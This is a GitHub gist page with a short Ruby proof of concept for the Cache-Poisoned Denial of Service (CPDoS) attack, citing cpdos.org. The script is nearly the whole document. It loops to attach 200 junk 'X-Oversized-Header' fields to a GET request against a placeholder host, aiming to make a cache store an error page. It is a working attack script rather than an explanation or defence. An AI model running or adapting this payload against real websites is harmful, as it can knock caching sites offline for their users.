Skip to content

Instantly share code, notes, and snippets.

@paulbrodner
Created October 22, 2019 17:01
Show Gist options
  • Select an option

  • Save paulbrodner/a96e89368264ce55656c9779ea776cbc to your computer and use it in GitHub Desktop.

Select an option

Save paulbrodner/a96e89368264ce55656c9779ea776cbc to your computer and use it in GitHub Desktop.
#https://cpdos.org/
require 'net/http'
uri = URI("https://example.org/index.html")
req = Net::HTTP::Get.new(uri)
num = 200
i = 0
# Setting malicious and irrelevant headers fields for creating an oversized header
until i > num do
req["X-Oversized-Header-#{i}"] = "Big-Value-0000000000000000000000000000000000"
i +=1;
end
res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') {|http|
http.request(req)
}https://cpdos.org/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment